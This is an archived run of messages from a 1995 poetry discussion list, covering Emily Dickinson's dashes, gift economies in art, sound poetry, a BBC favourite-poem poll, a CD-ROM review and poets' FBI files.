> *Though I would agree with Tenney Nathanson about the second part of Hyde's The Gift, the first part--"A Theory of Gifts"--strikes me as right in ways I've never seen discussed before. "Works of art exist simultaneously in two 'economies,'" he says, "a market economy and a gift economy." I like his discriminations between "labour" and "work" as well as his exploration of the obligations of entering into the gift economy: the necessity to give, to receive, and after a mysterious time during which one assimilates a gift, to reciprocate. In the second part, he does better with Pound than with Whitman. What he does is not "theory" so much as mulling an idea--but, at least to me, that idea explains a lot.*

agreed. But that makes me want to suggest some counter-models. Like:

1. the old Arnold Hauser book on Mannerist (2 vols), which relates stylistic changes in poetry and painting to the decline of patronage and the anxieties of a new market economy that engulfs art production

2. the Buck-Morss book on Benjamin's Arcades project, as well as the 3 versions of Ben's Baudelaire essay (pub as CB: The Lyric Poet in the Era of High Capitalism)--Bucik-Morss quotes long stretches of Benjamin on Baudelaire, re the dark relation of poetic allegory and commodity reification.

↑ Index

259. **kat**
Re: Derrida on the episteme of lies
Thu 12 Oct 1995

Thank you for the longer notes on Derrida's talk on lies, which I see as particularly germain to the production or reconstruction of NATIONALISM in Eastern Europe. It is useful, also, to think something more about Arendt than that she was too much a friend, a disciple of Heidegger as all the New York Times reviews, etc. would say dismissively. Lots of trouble with Arendt but not particularly concerned with her bedmates if the implication is that pillow talk, as the story with much Heideggerian male political conceptions, went one way. Enough, it seems that I am wasting time in the same identity politics soup. Thanks for the precis on lies and action. yrs, Kathryne Lindberg

↑ Index

260. **Aldon L. Nielsen**
Re: oceans blue
Thu 12 Oct 1995

On this fine day let me remind all of an excellent novel -- _The Heirs of Columbus_ by Gerald Vizenor

& here's a curious fact I recently found -- Back when several states still had antimiscegenation laws (no hope of "don't ask don't tell" on that score!) Virginia felt compelled to legislate what came to be known as the "Pocahontas Exception" -- So many "white" Virginians claimed to be descendants of Pocahontas, by way of Tom Rolfe returned to the colonies, that the Commonwealth's law banning intermarriage would have the unintended effect of immediately subjecting thousands of white Virginians to possible incarceration -- No such exception was offered to white people who wished to claim descent from any famous African, however --

America is a New World that stays new, dammit!

↑ Index

261. Carl Lynden Peters
Emily Dickinson-
Thu 12 Oct 1995

i plan to teach a tutorial on a few emily dickinson poems, and i'm interested in your comments abt her extensive use of dashes -- can anyone help me out --

thanks for this,
c

"303: The Soul selects her own Society"

The Soul selects her own Society--
Then--shuts the Door--
To her divine Majority--
Present no more--

Unmoved--she notes the Chariots--pausing--
At her low Gate--
Unmoved--an Emperor be kneeling
Upon he Mat--

I've known her--from an ample nation--
Choose One--
Then--close the Valves of her attention--
Like Stone--

↑ Index

262. Romana Christina Huk
poetry on CD-ROM
Thu 12 Oct 1995

Can anyone give me information on CD-ROM recordings of readings that I might get my library to purchase for my "alternative poetries" graduate seminar? I've got a notice about something called Poetry in Motion I and II -- is there anything else out there I should think of instead?

Romana Huk <[redacted]

↑ Index

263. tunguska
context & derivation
Thu 12 Oct 1995

ed, you're right. my misunderstanding stems from the discussion involving fragmentation. movement, and rest, seemed to clash in what you said, and I

thought it would be useful to point out (what you already understand) in terms of Duncan's righting in the light of theology. I meant to show that horizons pointed to by philosophy call for poetry movement from in to outward, and not so simply a metaphoric reduction of "impertinence" imposed from "outside" poetry.

what we have, now, is a wholeness, aesthetic, or whatever, from the very nature of poetry, no longer out of sync with any so-called imperitive.or what we should have. the problem is not to lose sight of that. so let me close this whole chain of contexts, fragmentation and fang-doodle, with the following:

There's this bee-keepers convention in Italy. Bee-keepers from all over the world are there, comparing and animatedly discussing their livelihood. The american says: we got 10 million bees and kept in a highly modern and monitored situation, very impressive, 3 million gallons of honey a year! The Italian says: Oh! we've got 25 million, and they're on a hillside, the old way, and we get 5 million gallons a year! And the German says: we do all our bees in an atmospherically controlled environment, a hot-house, producing twice that. The Frenchman says: we've got 2 different sites of 30 million bees, and we can continually produce honey year round and it's growing exponentially every year! They notice that the Irish bee-keeper hasn't said anything yet, so they ask him about his bee-keeping operation. The Irishman says: me? I've got 65 million bees..and I keep them all in a cardboard box! And the Italian says: isn't that a bit cruel? Fuck 'em! says the Irishman.

thilleman
tod thilleman

↑ Index

264. Jonathan Brannen
(no subject)
Thu 12 Oct 1995

> *Why ask of poetry more than it can deliver? We don't ask the same of cooking.*
>
> *Jeff Hansen*

Because we don't know what poetry may be able to deliver! The point of devising and utilizing innovative forms is precisely to explore the genre's potential.

>(money is also a kind of poetry)
>
>
Tenney,

Since when? To whom? I can relate to neither this concept of money nor this concept of poetry.

Best of all possible worlds,
Jonathan Brannen

↑ Index

265. Burt Kimmelman
Re: Derrida on the episteme of lies
Thu 12 Oct 1995

Kathryne,

This is really nothing but gossip, but what the hey:

a colleague of mine who studied under both Hans Jonas and Arendt, at the New School, suggested to me that her relationship with Heidegger was, let us say, for want of a better word at this moment, dynamic.

Burt

↑ Index

266. Loss Glazier
Re: poetry on CD-ROM
Thu 12 Oct 1995

Romana,

You *must* check out _The Little Magazine Vol. 21_ as an extraordinary cd-rom release (IBM/Windows). Write to [redacted] for details.

Loss

> Can anyone give me information on CD-ROM recordings of readings that I
> might get my library to purchase for my "alternative poetries" graduate
> seminar? I've got a notice about something called Poetry in Motion I and
> II -- is there anything else out there I should think of instead?
>
> Romana Huk <[redacted]
>

↑ Index

267. cris cheek
4 Horsemen recordings
Thu 12 Oct 1995

---

the following are still available:

bpNichol, *Ear Rational: Sound Poems 1970 - 1980* $10.00
Paul Dutton, *Fugitive Forms* $10.00
Rafael Baretto-Rivera, *Scrable Babble* $10.00

from: - Grist On-Line (http://phantom.com/~grist). Grist has a toll free phone number for orders: [redacted]. After you dial the number, enter 9757 when requested. You can use Visa or Mastercard. Wouldn't hurt to check out Grist's bookstore: has over 4,000 titles, all contemporary poetry and related -- as far as I know, it's the largest source of contemporary poetry books on the net. You won't find a better selection of visual poetry books on the net. For sound poetry and related, check out Pauline Oliveros's Deep Listening Catalogue. If you can get to kenny g's web site, there's a link to it from there.

love and love
cris

↑ Index

268. Lisa Samuels
Re: Texts about poetics "sound"
Thu 12 Oct 1995

---

dear Loss,

perhaps it's 'critical' commentary you're looking for,
only, but there's a book you might adore, if you don't
already:
Text-Sound Texts, ed. Richard Kostelanetz
William Morrow, 1980

it's a blissful survey play, Bleim Kern to Nina Yankowitz to Jean-Jacques Cory's word lists, &c, with some commentary thrown in (eg, Jonathan Albert's 'Notes on Sound and Language'). & check out Toby Lurie's 'Chart of Musical Values' (!).

best,

Lisa S.

> *Can anyone recommend to me great texts on poetic sound? Sound as "material," etc. as a contemporary poetic. Any thoughts would be appreciated.*

> *Thanks,*
> *Loss*
> [redacted]

↑ Index

269. **Jeffrey Timmons**
Re: No Subject
Thu 12 Oct 1995

Just a thought:

Stevens also said that writing poetry made him feel positively "lady-like."

Jeffrey Timmons

↑ Index

270. **Steve Carll**
Re: sigh
Thu 12 Oct 1995

Tenney you wrote:

> *there's also a nice Harold Bloom lobster bombay and mango chutney story out there*

Um, I'm dying to hear it. Does it take place in Heidegger's bed after his falling-out with Chogyam Trungpa? :-o

Steve

↑ Index

271. **Charles Alexander**
Re: Emily Dickinson-
Thu 12 Oct 1995

> *i plan to teach a tutorial on a few emily dickinson poems, and i'm interested in your comments abt her extensive use of dashes -- can anyone help me out --*

Carl,

I don't really think there's a definitive answer about the dashes (hesitation, leaping jolts of meaning, gaps, the Abyss, less and more), although some on this list may disagree. I do think they should be taken as significant, and subsequent attempts to remove them and regularize the punctuation in Dickinson should not be given credence. One of the best places to go is Susan Howe's work on

Dickinson, including her book My Emily Dickinson (North Atlantic Books, Berkeley, 1985). But I haven't kept up with all the scholarship on this, and I look forward to hearing of other places to look. I will quote one paragraph from early on in Howe's book, which comes between her quotation of Dickinson poems "In many and reportless places" (1382) and "I saw no Way – The Heavens were stitched –"

"On this heath wrecked from Genesis, nerve endings quicken. Naked sensibility at the extremest periphery. Narrative expanding contracting dissolving. Nearer to know less before afterward schism in sum. No hierarchy, no notion of polarity. Perception of an object means loosing and losing it. Quests end in failure, no victory and sham questor. One answer undoes another and fiction is real. Trust absence, allegory, mystery – the setting not the rising sun is Beauty. No titles or numbers for the poems. That would force order. No titles for the packets she sewed the poems into. No manufactured print. No outside editor/"robber." Conventional punctuation was abolished not to add "soigné stitchery" but to subtract arbitrary authority. Dashes drew liberty of interruption inside the structure of each poem. Hush of hesitation for breath and for breathing. Empirical domain of revolution and revaluation where words are in danger, dissolving . . . only Mutability certain."

Good luck with your tutorial on Dickinson. One of the few regrets I have about taking, finally, a non-academic path, is remembering, when I was an English grad student, teaching Dickinson to undergraduates, having them hear her as something explosive and altogether rare in our poetry.

charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

272. Chris Stroffolino
Re: Emily Dickinson-
Fri 13 Oct 1995

---

the potential range of meanings and tones that the dashes make possible in dicksinson's poetry has not yet received much more than perfunctory treatment---even Howe (and her "followers") have turned away from the dashes per say to focus on the handwriting etc. I think much more can be done, the "authorities" have for the most part very SELECTIVELY plumbed

some of the complexities and not the others that may be inherent in the dashes. These dashes are hazardous, of course, but no more than ignoring them would be. Susan Howe's Book probably would be better if called "SEVERAL OF MY EMILY DICKINSON'S" since it doesn't resolve in the idea of singular author, and such work is useful in reminding one that the "I" in any given poem is not the same "I" as in another poem---In fact, the "I" in one poem may be like the "master" (or "owner") in another poem yet-- though Howe doesn't quite say THAT! ---chris stroffolino

↑ Index

273. George Bowering

Re: turning off mail for a while

Fri 13 Oct 1995

Thanks, Loss. When I am in Denmark/Italy I may just get on again if I can access this local outfit. Cheers. I will be thinking of you whilem, I mean you all, while I am doing a reading at U. of Rome on my birthday, Dec 1, wishing I were somewhere like Buffalo instead!

↑ Index

274. John Cayley

UKania - The 'Nation's' favourite poem

Fri 13 Oct 1995

Four days before London's Albert Hall is filled with holes (how many?), the UK has voted Kipling's 'If' its favourite poem with Tennyson's 'Lady of Shalott' and de la Mare's 'The Listeners' the runners-up. Stevie Smith was the only modern rhymester to make the top ten.

But the punch line - in a national telephone poll sponsored by the BBC and extensively 'advertised' around prime-time slots (TV & radio), and out of a 'Nation' of c. 60m people, only 7,500 actually registered their favourite.

Poetics and the Media orbit far distant stars.

- - - - - -
John Cayley Wellsweep Press [in Chinese HZ:]
^ fine, innovative literary translation from Chinese ^
1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
1995 URLs: http://www.inforamp.net/~cayley [= home]
+ /wshome.html [= Wellsweep]
+ /inhome.html [= Indra's Net]
- - - - - -

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275. Maria Damon
Re: Emily Dickinson-
Fri 13 Oct 1995

about those dashes-- i don't really "believe in" kristeva's scientistic accounts of poetic language and the "thetic moment," but i do find useful the possibility that those dashes are moments where the verbal articulability of bodily/poetic pulsations/sensations breaks down and some other register of apprehension takes over (apprehension not, of course, as anxiety but as a "grasping toward") ...a "surplus" of meaningless meaning, that is not semantic meaning but a kind of metaphysical urgency, or a living, dynamic space that's created for listening to whatever sounds might be encountered beyond a cognitive level ... how would one "act out" a set of dashes if one were to choreograph an ED poem? may be one way to approach it w/ undergrads...md

↑ Index

276. Jonathan A Levin
Re: Emily Dickinson-
Fri 13 Oct 1995

One more thought--the manuscript texts are vital in thinking about the dashes. One of the first things you realize studying these texts (alas, in The Manuscript Books) is that there are all sorts of dashes out there. Martha Nell Smith writes about these visual variations very well in her recent book Rowing to Eden (recent, what, say 1992?).

Jonathan Levin
NYC

↑ Index

277. Charles O. Hartman
Re: POETICS Digest - 11 Oct 1995 to 12 Oct 1995
Fri 13 Oct 1995

On Dickinson--

There's a long-standing (but now possibly defunct) debate about these dashes, begun once they were restored to the poems (after wholesale replacement in all early-20th-century editions. As I recall it, some scholars claimed that the dashes have a relatively exact _musical_ function, indicating not only duration of "rest" (we have no notation for "rests," as such, in language) but also possibly the intonation contour of the preceding phrase. Evidence was adduced from the

folk-notation used by some religious community in the general area of Massachusetts. (It sounds like that early chapter in _Doctor Faustus_.) I forget the details. In any case the hypothesis was as I understand it generally agreed to be far-fetched. Problem of non-conventional notation, always.

Charles Hartman

↑ Index

278. **Hank Lazer**
Re: Emily Dickinson-
Fri 13 Oct 1995

On Dickinson: see also Sharon Cameron's fairly recent _Choosing Not Choosing_, a study of the fascicles, but also some good readings of particular poems....

Hank Lazer

↑ Index

279. **Edward Foster**
Re: Emily Dickinson-
Fri 13 Oct 1995

---

carl peters, on all dickinson matters, see susan howe's book, etc.

↑ Index

280. **Herb Levy**
Re: Yonder
Fri 13 Oct 1995

Ron writes, in his response to the age-old musical question <Does all instrumental music "say the same thing"?>:

> *But I am intrigued in your argument (implicit) that sound poetry is better understood not as poetry. Why, then, call it such?*

It's called "sound poetry" to distinguish it from what we call "poetry", just as the term "electric guitar" was first used to distinguish that instrument from what has subsequently become known as the "acoustic guitar." I can't imagine what would have to take place for a similar linguistic change in how we refer to, uh, "text poetry."

Perhaps a clearer example is the term "electronic music." Much of the most idiomatically interesting electronic music bears little resemblance to more traditional musical forms; they don't "do anything" in terms of a more traditional musical discourse. Conversely, much so-called electronic music that

is close to traditional musical structures (synthesizers mimicing acoustic ensembles, "symphonies" for synthesizer, etc.) is pretty dull compared to the thing being imitated.

S0und is the material and often the subject matter of sound poetry & the most interesting work in the field doesn't reduce to syntactically analyzable terms, that is, it doesn't "say anything" discursively.

In all these cases the modifier that distinguishes the term from the older, non-modified word, indicates the general focus of the newly modified term. & because of this it's the modifier that's emphasized.

I, too, get far more out of Bruce Ackley's playing that I do out of playing by either of the Marsalis brothers, though I'd probably want to make aesthetic distinctions between the music of Wynton & Branford.

Herb Levy
[redacted]

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281. Herb Levy
Deep Listening Catalog
Fri 13 Oct 1995

While I don't want to deter anyone from checking out Kenny G's homepage, here's the URL for the Pauline Oliveros Foundation with the Deep Listening catalog that Cris Cheek mentioned:

http://www.tmn.com/Artswire/www/pof/pof.html

But you really should check out Kenny's page. He hasn't mentioned it here, probably because the book was published a couple of years ago, but his home page now includes several pages from his book <73 Poems> including not only visuals, but sound recordings of the compositions by composer/performer Joan La Barbara for each of the poems shown.

Kenny's URL is:

http://wfmu.org:80/~kennyg/

Herb Levy
[redacted]

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282. Edward Foster
Re: Emily Dickinson-
Fri 13 Oct 1995

thinking more about dickinson and dashes: i remember many years ago cataloguing and transcribing 19th cent. letters and journals (not extirely beside the point: this was for an historical society in a town not far from amherst) and there were confusions because of a lack of "true" punctuation and the use of dashes instead. look, too, at melville's journals for use of dashes instead of the expected. and in thoreau as well. i was working the other day with a passage from melville's account of his visit to constantinople and wondered if the dashes reflect the speed with which he's thinking; he's terrifically wrought up. we use dashes now almost exclusively as a kind of parenthesis; we've reduced them to logic. but they had visual power once.

↑ Index

283. ULMER SPRING
Re: Texts about poetics "sound"
Fri 13 Oct 1995

you might want to look at Douglas Oliver's book (the title of which escapes me at this moment), but he uses sound spretrographs to map both song and poetry. in the summer of 1991, he gave a lecture at naropa - it's on tape (at naropa). ahhh the title something like: Poetry Narrative in Performance

spring

↑ Index

284. Tenney Nathanson
Wallace
Fri 13 Oct 1995

> *Date: Thu, 12 Oct 1995 14:25:33 -0500*
> *From: Jonathan Brannen <[redacted]>*
> *Subject: <No subject given>*
>
> *Why ask of poetry more than it can deliver? We don't ask the same of cooking.*
>
> *Jeff Hansen*
>
> *Because we don't know what poetry may be able to deliver! The point of devising and utilizing innovative forms is precisely to explore the genre's potential.*

> *(money is also a kind of poetry)*
>
> *Tenney,*
>
> *Since when? To whom? I can relate to neither this concept of money nor this concept of poetry.*
>
> *Best of all possible worlds,*
> *Jonathan Brannen*

says Wallace Stevens, and as I think Ed Foster remarked sardonically (through a typo though?) if anyone's should know, it wd be Wallace (of the far-flung surprise Christmas box). Thinking, say, of all those lush fruits in "St Agnes Eve" etc. Imagination etc. There are also a couple of funny moments in Emerson where he says he hates the drudgery of the worker (and cf. American Scholar the truncated hand etc) but loves the bold imagination of the inventive capitalist & so on: pretty much equates capital w Imagination or Reason, drudge work w Understanding. I can't remember why it seemed apposite to quote Stevens, w some bemusement as I vaguely recall, but it did.

Tenney

↑ Index

285. Tenney Nathanson
and
Fri 13 Oct 1995

> *Date: Thu, 12 Oct 1995 20:39:55 -0700*
> *From: Jeffrey Timmons <[redacted]>*
> *Subject: Re: No Subject*
>
> *Just a thought:*
>
> *Stevens also said that writing poetry made him feel positively "lady-like."*
>
> *Jeffrey Timmons*

and while we're at it there's also the racist Stevens who remarked about his poetry that "one always wants to sound like an Italian and ends up sounding like a Guatemalan"; and more grimly, "let Mussolini take Etheopia from the Africans; after all, the Africans took it from the boa constrictors." those were the days, huh?

but then too:
"the poet is a god--or, the young poet is a god. The old poet is a tramp"
(cf. old Walt on the beach....)

Tenney

↑ Index

286. Ken Edwards
Top ten poems
Fri 13 Oct 1995

According to a poll organised by the BBC, the results of which were announced yesterday, Kipling's "If" is Britain's favourite poem.

The top ten emerged as follows"

1. Kipling: If
2. Tennyson: The Lady of Shalott
3. Walter de la Mare: The Listeners
4. Stevie Smith: Not Waving But Drowning
5. Wordsworth: Daffodils
6. Keats: To Autumn
7. Yeats: The Lake of Innisfree
8. Wilfred Owen: Dulce et Decorum Est
9. Keats: Ode to a Nightingale
10. Yeats: He Wishes for the Cloths of Heaven

In a separate vote, the top ten poets were: Kipling, Yeats, Wordsworth, Tennyson, Walter de la Mare, Keats, Wilfred Owen, W H Auden, Stevie Smith.

I wonder what this says, if anything, about (a) the nation's attitude to poetry; (b) the state of the nation's psyche. The No 1 choice suggests that Victorian stiff-upper-lip moralism still rules; or perhaps it doesn't, but a sentimental nostalgia for it does. Or perhaps the list merely reveals the class/age profile of people who respond to BBC radio polls (imagine a similar list of "classical music favourites" - the selection above being perhaps poetry's equivalent of "a good tune").

What would a similar poll come up with in the USA, Canada, Australia, New Zealand, Ireland, I wonder?

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287. **Loss Glazier**

Poetry in Motion (Review)

Fri 13 Oct 1995

Given the interest recently expressed on poetry on cd-rom, I thought
I'd send along the following...

POETRY IN MOTION
Ron Mann, editor
(New York: Voyager Company, 1994)
[CD-ROM: Windows/Macintosh].

Reviewed by Loss Pequen~o Glazier

THE "DIGITAL REVOLUTION" HAS SOME INTELLIGENT OFFSPRING. Though the most interesting developments in electronic poetry will occur, in my opinion, through a network sensibility (visit the Electronic Poetry Center via the Internet at the http, "http://writing.upenn.edu/epc" for a view into the possibilities of "connectivity") this CD-ROM suggests some immediate and interesting possibilities.

That this is a commercial product makes the poets chosen quite surprising. The voyager CD-ROM series, displayed in a number of stores nationally in flashy carousels, contains titles such as "Baseball's Greatest Hits" and "People: Twenty Years of Pop Culture" as well as interesting items such as "Maus" and "Ephemeral Films." The series by no means pretends any specialization in poetry. However this company's one contemporary poetry product, at this writing, contains a range of interesting poets including Ted Berrigan, Robert Creeley, Alan Ginsberg, Jim Carroll, Anne Waldman, and Jim Cage.

In all, Poetry in Motion offers the work of some two dozen poets. Using the disk involves choosing from the author list. When you select an entry for viewing, you are presented with an opening screen split into three sections: a text of the poet, a screen with the poet reading, and, in most cases, an interview screen. Clicking on the "reading" screen starts a video clip in motion and the poem in the text panel scrolls as the poem is read. (This text screen actually offers the choice of two versions of the text: "As Performed" and "As Published." The poem will scroll with the reading if the "As Performed" box is checked.) If you click on the interview screen, a brief clip of the poet discussing poetics will play.

The disk is tremendous as a sampler, especially for those who teach or for those who don't have ready access to readings. Who could ever read the printed text of Waldman and witness the physical energy there? Or the careful pacing of Creeley? (Ginsberg and Burroughs are exceptions somewhat, since both turn

up more regularly in the mass media.) Berrigan is a particular treat, for the pacing of the poem read, of course, but also for Berrigan's movements, gestures, his physical approach to the literary "event."

The disk is also a rare exception in that a great deal of effort seems to have been put into layout and the graphical presentation of screens; it is quite a pleasure to move through its menus.

Notwithstanding the quality of the poets presented, of greatest interest is Poetry in Motion's approach to presenting the "word." The mix between performance and interview clips and the presentation of the dual nature of a poem as published and as it takes place in public is engaging. Quite a pleasurable experience bounded, interestingly, only by the medium itself: since video takes up so much disk space and emphasis is given to performances, interview clips tend to be quite short. In fact, there is NOT a lot of material here, each poet basically reading one poem. The CD actually does not compare to say, a good-sized anthology in breadth or variety.

The lack of depth in such a well-edited project makes one wonder if a multi-media CD-ROM product, though presenting well-selected material portably and in an engaging manner, must ultimately suffer from the insularity and limitations its own format imposes. All told however, it's a treat to see technology meet poetry in such a satisfactory fashion.

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288. **Bill Luoma**
Re: The Art and Poetry Worlds
Fri 13 Oct 1995

Re : Black Flag Kills Poets Dead

Has anyone's FBI file been used for such purposes? Has anyone on the list seen their FBI file?

↑ Index

289. **Larry Price**
So we tanned his hide when he died, Clyde
Fri 13 Oct 1995

I want to reinvert your inversion. It seems to me a very different sense to say "movement is the key perception." Which brings out the sense of self-schism I've read in Duncan. But the narrative tree movement/rest is useful. Because my sense at least of Mallarmean "purity" does accommodate within it "the human theme of the impossibility of being...the attempts to reconstruct...sensibility, but only to purify it of anything accidental so that it is free to reenact endlessly

the sacred drama of failure and death...the poem is...the suicide of...Poetry." As Blaser once remarked, Spicer never forgave his mother, never forgave the occasion of his own birth. Thus

Like a diamond
Has at the center of it a diamond
Or a rock
Rock.

Which seems a cranky

Do not move
Let the wind speak

sort of purity. Not the alternations of being, but "what does one do with all this crap?"

Whereas certainly for Duncan, what could be called the heuristic use of utopia could just as easily become the heuristic force of existence (as for example what is for me the demonic self-reading in the NET outtakes). As though the only context one has for the writing act is that of language doubling, the proposition that the one who writes is the one who reads, not with the same abilities certainly, but expanded to the formal availability that that doubling brings.

Larry Price

↑ Index

290. **Charles Alexander**

Re: Top ten poems

Fri 13 Oct 1995

> *According to a poll organised by the BBC, the results of which were announced yesterday, Kipling's "If" is Britain's favourite poem.*
>
> *The top ten emerged as follows"*
>
> *1. Kipling: If*
> *2. Tennyson: The Lady of Shalott*
> *3. Walter de la Mare: The Listeners*
> *4. Stevie Smith: Not Waving But Drowning*
> *5. Wordsworth: Daffodils*
> *6. Keats: To Autumn*
> *7. Yeats: The Lake of Innisfree*
> *8. Wilfred Owen: Dulce et Decorum Est*
> *9. Keats: Ode to a Nightingale*
> *10. Yeats: He Wishes for the Cloths of Heaven*

> *In a separate vote, the top ten poets were: Kipling, Yeats, Wordsworth, Tennyson, Walter de la Mare, Keats, Wilfred Owen, W H Auden, Stevie Smith.*

This is just astounding to me, for many reasons, but particularly in that it seems to imply that only two centuries of poetry exist. Do Brits not read Shakespeare (or regard him only as playwright), Chaucer, Milton, Spenser, Donne, Johnson, Smart, Gray, Wyatt, Sidney, Marvel, and many more? Or read them only in school and think them a drudge?

↑ Index

291. **Ryan Knighton**
Re: Michael as exemplum (?)
Fri 13 Oct 1995

I'm kinda backa all in a lurking sense I suppose. Thought I would jump in with some canadian content on this subject of teaching poetry and how it informs the writing of it. I don't know much about Michael D. as an exemplum but I would encourage anyone interested to take a long hard gander at Tom Wayman, the gently dangerous BC "industrial" poet. He wrote some wonderful things about his experiences as a college instructor and res-writer here at rainy SFU. I think he is usually published by Harbour Press ironically rooted on the Sunshine Coast. One of my faves is in his treatment of the question "what did I miss in class yesterday".

↑ Index

292. **Patrick Phillips**
Re: poet kills black flag dead
Fri 13 Oct 1995

> *Re : Poet Kills Black Flag Dead*
>
> *Has anyone's FBI file been used for such purposes? Has anyone on the list seen their FBI file?*

Not I. Went so far as to get the FIA (freedom of information act) forms in 1984, but did not submit..... black flag killed dead.

↑ Index

293. **Mark Scroggins**
Re: Top ten poems
Fri 13 Oct 1995

If my students and acquaintances are any indication, it's doubtful that most Americans could name ten POETS, much less ten specific poems.

So has anybody been able to come up with a reference for me on that interview in which Ashbery claims Helen Vendler told him one had to be a fascist to like the Cantos?

Mark Scroggins

↑ Index

294. **Steve Carll**
Re: Emily Dickinson-
Fri 13 Oct 1995

Chris S. wrote:

> *Susan Howe's Book probably would be better if called*
> *"SEVERAL OF MY EMILY DICKINSON'S" since it doesn't resolve in the idea*
> *of singular author, and such work is useful in reminding one that the "I"*
> *in any given poem is not the same "I" as in another poem---In fact, the*
> *"I" in one poem may be like the "master" (or "owner") in another poem yet--*
> *though Howe doesn't quite say THAT! ---chris stroffolino*

This is one of the most interesting paradoxes--Dickinson's poetry does have a distinctive Voice (capital V)--you can almost always tell if you're somewhat familiar with it that you're hearing or reading another example of it--yet the voice (lower-case v) of any individual poem may be wildly different from that of any other given ED poem. She was "masterful" at strategizing that Voice, at cloaking it in accents, a proto-Pessoa, one might almost say.

Steve

↑ Index

295. **Michael Davidson**
Re: Michael as exemplum (?)
Sat 14 Oct 1995

>>One of the reasons that I think it is so hard for poets who go directly
>>from some student status into teaching (at least if that is at the
>>college level) is that there is an (inherent) conflict between the poem
>>and the job that sets it up as very difficult to conceive of as
>>unalienated labor. I think one can read this "ambivalence" in great
>>detail in almost all of Michael Davidson's work, someone who has taken
>>his role as a teacher with great seriousness his entire career and
>>never flinched from acknowledging its impact on his poetry, although he
>>is often conflicted about how he "feels" about that.
>
>Ron--
>

>I'd love to hear you say some more about this, unless you think it would be
>an embarrassment to Michael, who is on the list too, no? But: in the poems
>let's say, how does the conflict show up (its appearance in the criticism
>would be less surprising: "I'd rather be fishing" gestures etc., of the sort
>so riotously displayed by Pound in his early essays and magazine pieces)?
>
>best,
>
>Tenney
>
>Well, I certainly "feel" conflicted about the split, as many on this list
must feel as well. As to whether or not this appears in the poetry, that's
hard for me to gauge, but there is plenty of institutional rhetoric that
finds its way into texts (in quotations, of course). I think that for many
of us who are poet/teachers there is a desire to be accountable in the
university at large and not to get pigeonholed as a "writer" which, in most
universities, means someone useful on the masthead but not in official
departmental meetings. The problem is that, like Ellison's Invisible Man,
the more you pretend you're really someone else the more you become that
person and begin to act accordingly. As to Ron's reference to "ambivalence"
that needn't be only the result of institutional conflicts.

Michael Davidson
Michael Davidson

↑ Index

296. **Aldon L. Nielsen**
Re: poetry in notions
Sat 14 Oct 1995

---

some of the limitations of the Poetry in Motion CD ROM may stem from its
origins as a video tape ??? Has anybody written anything comparing this
project in its two formats?

↑ Index

297. **R I Caddel**
Top Ten Poets
Sat 14 Oct 1995

I tried to ignore the sickening "National Poetry Day" phenomenon, but folks
will keep reminding me of it ("Here - you'll like this - Neil Astley's Bloodaxe
Books have put Northeast Poetry on the map" etc etc). Actually I lined up with
the "National Poetry Day Protect and Survive" group - urged my colleagues in

my workplace NOT to read poems in my lunchbreak, NOT to stick poems on trees etc. In Newcastle, Connie Pickard held a silent and lone vigil in the deserted Morden Tower...

Difficult to read too much into a radio phone-in poll, since phoners-in cannot (I hope!) be considered representative of even their own collective psyche - just another instance of the UK media's trivialisation of everything, as I read it. But the "banding" of those poems does, perhaps, reflect the narrowing-down of teaching: my children missed out on Chaucer at school - even in "translation" - because he's deemed "too difficult" for most.

Pleasing to see Kit Smart in there in the list of poets who might've been considered: I doubt if many Durham schoolkids could even name him, tho' Smart was Durham raised and taught. A movement to put up a plaque for him in the town was squashed - "too obscure".

However, coming shortly on some radio is the poll of "Ten Worst Poems" - now there's a game we might play on this list...

x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Name and date / split in soft slate / a few months obliterate." x x - Basil Bunting
x x x

↑ Index

298. Ron Silliman
Re: The Art and Poetry Worlds
Sat 14 Oct 1995

You wrote:
>
>Re : Black Flag Kills Poets Dead
>
>Has anyone's FBI file been used for such purposes? Has anyone on the list
>seen their FBI file?
>
I got mine through the Freedom of Information Act in the late 70s. 130 pages of garbage that made me realize how much of even the FBI was simply a "make work" program. Mostly investigations of my relations with "subversive groups" like the Socialist Workers Party, interviews with building janitors where I'd lived, teachers (!) of classes that I had dropped (tho not of ones I'd actually attended).

Names deleted throughout but it was apparent from the texts that there was a CIA "stringer" among the grad students in English at UC Berkeley, a fellow who actually lived in the same apartment building as I and my first wife.

Notable absences too, such as the time when my phone was tapped (very obviously-- you could pick it up and hear week-old conversations you had had) while I was baby-sitting Stephen Weed and the Hearst ransom money in '74 during that wild period (the two weeks immediately preceding her coming out as Tanya and robbing a bank), or when the FBI questioned me after finding my phone # in the address book of Sara Jane Moore, one of their own "informants" who attempted to shoot Gerry Ford.

Ron

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299. CTHEORY/fwrd
Lorenz on Cicchetto (review)
Sat 14 Oct 1995

_____ CTHEORY
THEORY, TECHNOLOGY AND CULTURE VOL 18, NO 3

Review 39 95/10/04 Editors: Arthur and Marilouise Kroker

_____

Cut It Out
==========

Francesca Cicchetto, _Sadiani Rognoni_. Edited by Shinaz Giusti, with accompanying text by Nils Ya. Buffalo, NY: Tailspin Press, 1995.

~Klaus Lorenz~

Reviewer's Note: An obscure press in Buffalo, New York has recently published one of the more interesting documents in aesthetic theory to emerge in the past few years. Ostensibly a reissue of Italian writer Francesca Cicchetto's _Sadiani Rognoni_, an avant-garde work originally published in Bologna in 1952, the book includes, in addition to the Sadian cut-ups (or more accurately, cut-outs) that occupy its recto pages, a philosophical commentary by guerrilla theorist Nils Ya. Printed thus, both texts run parallel to each other, informing each other yet remain distinct as befits their generic allegiances. Both address the curious status of the *fragment* as aesthetic topos in our post- and unprepossessing-of-anything historical moment. And both work the ragged seam marking that marriage of poetic and philosophical discourses that increasingly informs contemporary theory.

_____

Ecstatic time can only find itself in the vision of things that puerile chance causes brusquely to appear: cadavers, nudity, explosions, spilled blood, abysses, sunbursts, and thunder. -Bataille

